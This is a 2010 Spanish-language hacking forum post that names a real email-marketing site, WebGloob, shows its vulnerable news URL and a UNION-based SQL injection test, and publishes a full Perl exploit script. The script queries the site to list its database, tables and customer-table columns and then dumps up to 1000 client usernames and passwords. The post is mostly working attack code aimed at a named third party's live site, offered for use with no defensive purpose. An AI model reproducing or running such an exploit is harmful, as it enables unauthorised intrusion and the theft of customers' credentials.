Autor: Molder
Fecha:24 Jun 2010
Aquí unas pruebas de SQL INJECTION a un sitio construido en PHP y MYSQL llamado WebGloob que se dedica envío de campañas publicitarias, boletines o avisos, por medio de email marketing.
La sección vulnerable se encuentra en http://www.webgloob.com/noticia.php?id_noticia=3819.
Aquí pongo una prueba de la vulnerabilidad, donde obtenemos el nombre de la base de datos (id_noticia=-1 UNION select 1,2,3,database(),5,6).
Y publicamos el exploit para obtener todas las tablas, usuarios y contraseñas de clientes.
#!/usr/bin/perl
#Powered by Sombrero de paja Molder
#24 Junio 2010
#Exploit sql inyection WebGloob
#Aztlan Hack I. S. T. http://www.aztlan-hack.org
use IO::Socket;
$host = "www.webgloob.com";
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "http(80)",
);
unless ($remote) { die "[+] No se puede conectar al host $host \n" }
$remote->autoflush(1);
print $remote "GET /noticia.php?id_noticia=-1+union+select+1,2,3,database(),5,6 HTTP/1.1\nHOST: ".$host."\n\n";
print "[+] Obteniendo Base de datos:\n";
while(<$remote>)
{
$linea = $_;
if ($linea=~/(imagenjpeg.php\?ruta=3&ancho=300&alto=300" alt="(.*?)" border="0")/i )
{
print $2."\n";
}
}
print "\n\n";
print "[+] Obteniendo Todas las tablas del servidor xD...:\n";
for($x=1;$x <=100; $x++)
{
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "http(80)",
);
unless ($remote) { die "[+] No se puede conectar al host $host \n" }
$remote->autoflush(1);
print $remote "GET /noticia.php?id_noticia=-1+union+select+1,2,3,table_name,5,6+from+information_schema.tables+limit+".$x.",1 HTTP/1.1\nHOST: ".$host."\n\n";
$dato = "";
while(<$remote>)
{
$linea = $_;
if ($linea=~/(imagenjpeg.php\?ruta=3&ancho=300&alto=300" alt="(.*?)" border="0")/i )
{
$dato = $2;
print $dato."\n";
}
}
if($dato eq "")
{
$x=100;
}
}
print "\n\n";
print "[+] Obteniendo Todas las columnas de la tabla clientes xD...:\n";
for($x=0;$x <=100; $x++)
{
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "http(80)",
);
unless ($remote) { die "[+] No se puede conectar al host $host \n" }
$remote->autoflush(1);
print $remote "GET /noticia.php?id_noticia=-1+union+select+1,2,3,column_name,5,6+FROM+information_schema.columns+WHERE+table_name=char(99,108,105,101,110,116,101,115)+limit+".$x.",1 HTTP/1.1\nHOST: ".$host."\n\n";
$dato = "";
while(<$remote>)
{
$linea = $_;
if ($linea=~/(imagenjpeg.php\?ruta=3&ancho=300&alto=300" alt="(.*?)" border="0")/i )
{
$dato = $2;
print $dato."\n";
}
}
if($dato eq "")
{
$x=100;
}
}
print "\n\n";
print "[+] Obteniendo Usuarios y passwords LOL...:\n";
for($x=0;$x <=1000; $x++)
{
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "http(80)",
);
unless ($remote) { die "[+] No se puede conectar al host $host \n" }
$remote->autoflush(1);
print $remote "GET /noticia.php?id_noticia=-1+union+select+1,2,3,concat(usuario,char(58),password)+as+user,5,6+FROM+clientes+limit+".$x.",1 HTTP/1.1\nHOST: ".$host."\n\n";
$dato = "";
while(<$remote>)
{
$linea = $_;
if ($linea=~/(imagenjpeg.php\?ruta=3&ancho=300&alto=300" alt="(.*?)" border="0")/i )
{
$dato = $2;
print $dato."\n";
}
}
if($dato eq "")
{
$x=1000;
}
}
print "\n\n";
print "[+] Fin del programa\n";
Happy Hack!!